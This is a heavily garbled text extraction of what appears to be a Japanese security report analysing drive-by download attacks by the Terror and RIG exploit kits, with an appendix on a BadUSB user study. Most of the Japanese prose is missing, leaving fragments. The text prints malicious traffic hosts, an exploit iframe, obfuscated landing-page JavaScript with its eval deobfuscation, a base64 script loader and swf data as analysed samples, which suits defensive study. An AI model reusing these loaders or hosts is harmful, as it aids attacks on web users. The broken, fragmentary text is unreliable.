2018 Drive-by Download

Size: px

Start display at page:

Download "2018 Drive-by Download"

みそらなかきむら
4 years ago
Views:

1 2018 Drive-by Download

2 1 2 2 Drive-by Download Exploit Kit Exploit Kit Exploit Kit A BadUSB 18 A A A A A

3 1 Drive-by Download Web (Drive) (Download) Drive-by Download 2010 Gumblar[1] Web Drive-by Download Exploit Kit (Exploits as a Service)[2] Exploit Kit 2017 RIG Exploit Kit Drive-by Download Exploit Kit

4 2 Drive-by Download 2.1 Drive-by Download 2.1 (1) Web 3 SNS URL (2) (3) Flash Player (4) 2.2 Exploit Kit Drive-by Download Exploit Kit 1 Exploit Kit URL URL Exploit Kit Exploit Kit Exploit Kit Exploit Kit Exploit Kit URL

5 (1)Access Compromised Web Site (2)Drive User (3)Exploit (4)Malware Malware Attack 2.1 Drive-by Download

6 Drive-by Download StarC[3] URL Pcap Drive-by Download Exploit Kit Exploit Kit Exploit Kit 3.2 Exploit Kit 50 Drive-by Download Exploit Kit 3.1 Exploit Kit RIG Exploit Kit 2 Terror Exploit Kit 2017 Drive-by Download RIG Exploit Kit RIG Exploit Kit IP [4][5] 3.1 Exploit Kit Exploit Kit Terror Exploit Kit 2 RIG Exploit Kit 48

7 3.3 Exploit Kit Exploit Kit 3.1 Exploit Kit (1)Landing Page Landing Page (2) (3) 2 Exploit Kit Exploit Kit (1) Landing Page (2) Exploit (Obfuscated) (3) Malware Payload User 3.1 Exploit Kit

8 3.3.1 Terror Exploit Kit Terror Exploit Kit 2016 Exploit Kit [6] Sundown Exploit Kit[7] 3.2 Terror Exploit Kit 3.2 Terror Exploit Kit Result Protocol Host URL Comment 302 HTTP popunder.youdonthaveenough.faith /popunder.php Gate 200 HTTP reminder.deficitgarage.download /forum naoeyth/showthread.php... Landing Page 200 HTTP reminder.deficitgarage.download /forum naoeyth/0vigerkeqq20... Exploit 200 HTTP reminder.deficitgarage.download /forum naoeyth/7wlkyfwm7t... Malware Exploit Kit Landing Page Landing Page iframe ( 3.2) Exploit Page URL iframe Exploit URL Exploit Page Terror Exploit Kit Landing Page ( 3.3) <iframe src=' YTH/0ViGerkEQQ20/rSir7V9aOI8p.html > </iframe> 3.2 iframe Exploit Kit URL Sub halisidragons() On Error Resume Next key="kseeka0jmxuto4qrpdfon3qc" url=" hp" Dongslm3de=userAgent 3.3 Terror Exploit Kit

9 3.3.2 RIG Exploit Kit RIG Exploit Kit 2016 Exploit Kit [8] 2018 Drive-by Download 3.3 RIG Exploit Kit 3.3 RIG Exploit Kit Result Protocol Host URL Comment 200 HTTP jackpotfreerols.cf / 200 HTTP jackpotfr22.cf /yo/? 200 HTTP /?LpetravelingSwEzlY1dWlgRpa320XUyBKehJWA... Landing Page 200 HTTP /?vel flight1558man1330vanxhzqmrxybrzffy... Payload Terror Exploit Kit Landing Page Landing Page JavaScript Flash Player swf Landing Page 3 JavaScript ( 3.4) 3 for eval ( 3.5) js JavaScript Google Chrome Console <html><head> <meta http-equiv="x-ua-compatible" content="ie=10"> <meta charset="utf-8"> </head><body><script>polrjbkcbs="} ur ;}} fg r+ bx 0 &265 q-8 a -1 q hil s* j ;/* +6; +c b x] s /*g143g36fn*/ piacvbprfb="func ng d al cd en / 449d s*/b [c ate eme ] cr t [t ] te avas pt, ex a,a gete ents a icxfzisrxf=".<>= " ')( t n";/*x70946a52018d8008f*/ for(xtdniilefe='',ralnqueuxl=3165,icyutikool=0;ralnqueuxl>-1,icyutikool<=3165;ralnqueuxl--,icyutikool++){ xtdniilefe+=piacvbprfb[icyutik </script> section1 <script>ubqkmzwhau="5 eo te nc out /set 04f j d /*s abc etu df ed n fun ueo */v 640 5h 24d7 * /*g25g27fn*/ zxkcwerclj="var gos ; 551 d227 hfj 94 ow */e cscr t *s fj 6fs VBs cr /* / QprltioGhB=".<>= " ')( t n";/*x79691a40601d82055f*/ for(jvfkszlzdx='',vtoiepliar=3409,btjokmplzw=0;vtoiepliar>-1,btjokmplzw<=3410;vtoiepliar--,btjokmplzw++){ JVFkszLzDX+=zxkCWErcLj[BtJO </script> section2 <script>aqlomzduwt="fs* j r;/ re ; dfg r+ xbx a 1 q ile 2; q+ 6 ];b xcvx 5fs 6hfj d5 s5 /*g96g148fn*/ KgCrqIlCrS="/* 48d5 hfj5 fs*/ tion d var, cume /*s8 d3 hfj7 6fs bc eat le ] pt s81 5d60 hf 29f [t ] t/ asc osdxpxhfuc=".<>= " ')( t n";/*x28128a33470d56969f*/ for(xypclgcdry='',prpzvouujo=643,wayllvmuij=0;prpzvouujo>-1,wayllvmuij<=644;prpzvouujo--,wayllvmuij++){ XYPCLgCdRY+=KgCrqIlCrS[waYlLvM </script></body></html> 3.4 RIG Exploit Kit Landing Page section3 3 1

10 3 3.5 (1) (2) split ( 3.6) 3.7 for split (1) (2) (3) eval eval eval for Console eval QuNbWbmGMx="nr }}re ga +df x& 5-8& aq a 9- (1) 1 le s*/w fj ;/* 6;b 6+c b ] xcvx s*/ j17 d458 czkabgfocq="func nk var l do ent *s73 53 fj42 */ [ ate men (2) sbyt ame crip xxkheysbjo=".<>= " ')( (3) t n";/*x43219a28390d51638f*/ for(tyzoxtdfhv='',iqwziponci=3137,dmgveymzkm=0;iqwziponci>-1,dmgveymz 3.5 RIG Exploit Kit JavaScript QuNbWbmGMx="n r }}re g a + df x & 5-8 & aq a +c b ] xcvx s*/ j17 d458 s2 {c x L r x i;} ] i A[x, SD45 la */r s864 FLM JKS EFG A /v e ca {k,a } ] Befo nse e[ rent ],a b[ pt va xt/ pe a { tio"/*j32308e*/["sp"+("lit")]/*gfh9022hg*/(' '); split for (TyzOXTdfhV = '', iqwziponci = 3137, dmgveymzkm = 0; iqwziponci > -1, dm TyzOXTdfhV += czkabgfocq[dmgveymzkm]; if (typeof QuNbWbmGMx[iQWzIpoNCi]!= 'undefined') { TyzOXTdfhV += QuNbWbmGMx[iQWzIpoNCi]; }; } for (LletajyZhL = 0; LletajyZhL <= xxkheysbjo.length - 1; LletajyZhL++) { TyzOXTdfhV = TyzOXTdfhV["replace"](new RegExp(xxKhEySbJO["substr"](LletajyZ LletajyZhL++; } eval(tyzoxtdfhv); 3.7 for eval

11 I Base64 ( 3.8) s( ) script s Flash Player URL ( 3.11) swf Flash Player RIG Exploit Kit swf swf Adobe Flash Player swf PoC swf Exploit Kit Terror Exploit Kit 2 Exploit Kit RIG Exploit Kit Exploit Kit IP Exploit Kit

12 function k() { var a = l(), c = document, /*s73213d53572hfj4285fs*/ b = c["createelement"]("script"); b["type"] = "text/javascript", b["text"] = a, a = c["getelementsbytagname"]("sc } try { k() } catch (m) {} function l() { var s ="dmfyigznzgznzca9iciioy8qczq3nza5zdm2mjy4agzqotu2mtvmcyovcglmd dzc3nzkx19lypzzghkotu4otfoznmqlw =="; /*s65026d21699hfj75792fs*/ var e = {}, i, b = 0, c, x, aq = 0, a, r = "", dfgdfg = String.fromCharCode, L = s.length; /*s36259d28398hfj40713fs*/ var A = "ABCDEFGHIJKSD454FLMNOPQRSTUVWXYSD454FZabcdefghijklmnopq xcvx = "atcharat".substr(2); for (i = 0; i < 64; i++) { /*s31484d39289hfj15241fs*/ e[a[xcvx](i)] = i; } for (x = 0; x < L; x++) { c = e[ /*s29765d45840hfj17773fs*/ s[xcvx](x)]; b = (b << 6) + c; aq += 6; bx = 2; /*s75067d87078hfj63800fs*/ while (aq >= (9-1)) { ((a = (b >>> (aq -= 8)) & ) (x < bx)) && (r += dfgdfg(a)); } } return r; } 3.8 eval

13 var fgdfgd = ""; /*s47709d36268hfj95615fs*/ function hcvvsdf(num, width) { var xcvaa = " abcdef"; /*s95073dffd100000hd11665hfs*/ var hcvvsdf = xcvaa.substr(num & 0xF, 1); while (num > 0xF) { num = num >>> 4; hcvvsdf = xcvaa.substr(num & 0xF, 1) + hcvvsdf; } var width = (width? width : 0); while (hcvvsdf.length < width) hcvvsdf = "0" + hcvvsdf; return hcvvsdf; } function gfdgsdf566(u, k) { var fr = String.fromCharCode; var c = "", b = "", d = "", f = fr(0x20), g = fr(0), v = fr(0x22); var app = k + v + f + v + u + v + f + v + navigator.useragent + v + g + g + g + g; app.length % 2 && (app += g); for (var e = 0; e < app.length; e++) { b = hcvvsdf(app.charcodeat(e), 2); d = hcvvsdf(app.charcodeat(e + 1), 2); c += b + d; e += 1; } return c; } 3.9

14 gfdgsdf566(" UKFEMUvWA0eKwYuZhavVF5uxFDfGpbf1Fx7spV-dCF- EmvdvdLEHIwCh1UTA&party=SwdjzYpUVVkT_6j4iECBmxKbgpPU-BCENw4U- JbBEbAz21z3nrRGc892wRKCu2VWzuktUVgR0Q9O3K3I&snicers=MTY1NjgwNzQ=", "akxyxuxusa")); Key URL 3.10 URL

15 <?xml version="1.0" encoding="utf-8"?> <swf version="32" compressed="1"> <Header framerate="30" frames="1"> <size> <Rectangle left="0" right="16000" top="0" bottom="12000"/> </size> <tags> <FileAttributes hasmetadata="1" allowabc="1" suppresscrossdomaincaching="0" swfrelativeurls="0" usenetwork="1"/> <UnknownTag id="0xff"> <data>aa==</data> </UnknownTag> <Metadata> <rdf:rdf xmlns:rdf=" <rdf:description xmlns:dc=" xmlns:asc=" <dc:format>application/x-shockwave-flash</dc:format> <asc:compiler name="actionscript Compiler" version="2.0.0" build="354154"/> </rdf:description> </rdf:rdf> </Metadata> <DefineBinaryData objectid="3"> <data> <data>n2kakw==</data> </data> </DefineBinaryData> <DefineBinaryData objectid="2"> <data> <data>atk3s2ggqy4khgtoajcynxm=</data> </data> </DefineBinaryData> <DefineBinaryData objectid="1"> <data> 3.11 Flash Player swf

16 4 Drive-by Download Exploit Kit Exploit Kit Exploit Kit Terror Exploit Kit 1 RIG Exploit Kit Fallout Exploit Kit[9] Grandsoft Exploit Kit[10] Exploit Kit

17 [1] -03 Gumblar ( ) [2] TrendMicro ( ) [3] StarC Drive-by Download [4] Drive-by Download RIG Exploit Kit Computer Security Symposium 2017 pp [5] RIG Exploit Kit Computer Security Symposium 2017 pp [6] McAfee Threat Landscape Dashboard Terror Exploit Kit ( ) [7] McAfee Threat Landscape Dashboard Sundown Exploit Kit ( ) [8] Security NEXT RIG - ( ) [9] nao sec Hello Fallout Exploit Kit ( ) [10] TrendMicro 2016 ( )

19 A BadUSB A.1 BadUSB PC USB USB PC USB USB PC CPU BadUSB USB PC BadUSB PC BadUSB PC BadUSB 31 BadUSB

20 A.2 A.2.1 BadUSB BadUSB Arduino Arduino BadUSB Arduino USB A.2.2 BadUSB 5 BadUSB BadUSB Mac 1) 2) 3) 4) 5) A.2.3 Arduino BadUSB Arduino Reonard Usage 101 Arduino IDE BadUSB OS Windows Mac OS

21 A.3 A.3.1 A rduino Arduino BadUSB (1) (2) 1 (3) (4) (5) PC BadUSB BadUSB OS BadUSB BadUSB T A.3.2 IT IT 3 IT i) OS ii) iii) *1 3

22 A.3.3 SeBIS SeBIS[1][2] 18 (1) (2) (3) (4) (5) 5 1) 2) / 3) 4) PIN 5) 6) (4) 7) 8) 9) 10) 11) URL web 12) SSL https // 13) ( ) 14) 15) 16) 17) (5) 18)

23 A.4 A.1 1 No B B B M M B M B B B B M B M B B B M B B B B B B B B B B B B B

24 A.2 2 No. OS BadUSB mac chrome windows chrome windows chrome windows chrome windows chrome mac chrome mac firefox mac chrome mac,windows chrome windows chrome mac chrome windows chrome mac chrome windows,mac,ubuntu,centos chrome windows IE,chrome windows chrome windows chrome windows chrome mac chrome mac chrome windows chrome windows chrome windows chrome windows chrome centos chrome windows chrome mac chrome windows firefox windows chrome windows chrome windows IE

25 devices response time [s] A.1 A.3 (1) (2) (4) (5) A.4 (1) (1) (2) (4) (5) T

26 A.1 BadUSB USB 2.1 BadUSB PC (2) (5) A.3 BadUSB (Accuracy) ( + *0.5)*100/ 1 5 (5) 100 (4) 51.6 (2) (4) (5) (1) (1) (2) 71.0 (4) 3.4 A.5 IT IT Frequency SeBIS A.2 SeBIS A.5 IT A

27 Accuracy SeBIS A.3 A.3 SeBIS SeBIS A.6 SeBIS A < µ(a) A µ(a) p T < µ(t ) T µ(t ) p S < µ(s) S µ(s) A.6 SeBIS S µ(s) µ(a) µ(t ) SeBIS 1 p

28 A.5 BadUSB BadUSB BadUSB

29 [1] Matthew Tischer, et. al, Users Really Do Plug in USB Drives They Find, ACM CHI 15, [2] S. Egelman and E. Peer, Scaling the Security Wall: Developing a Security Behavior Intentions Scale (SeBIS), in SIGCHI Conference on Human Factors in Computing Systems (CHI 15). ACM, 2015.

Drive-by Download RIG Exploit Kit

Drive-by Download RIG Exploit Kit 2017 StarC Drive-by Download 1 1 2 2 2.1 Drive-by Download.................................... 2 2.2 RIG Exploit Kit......................................... 2 2.3.............................................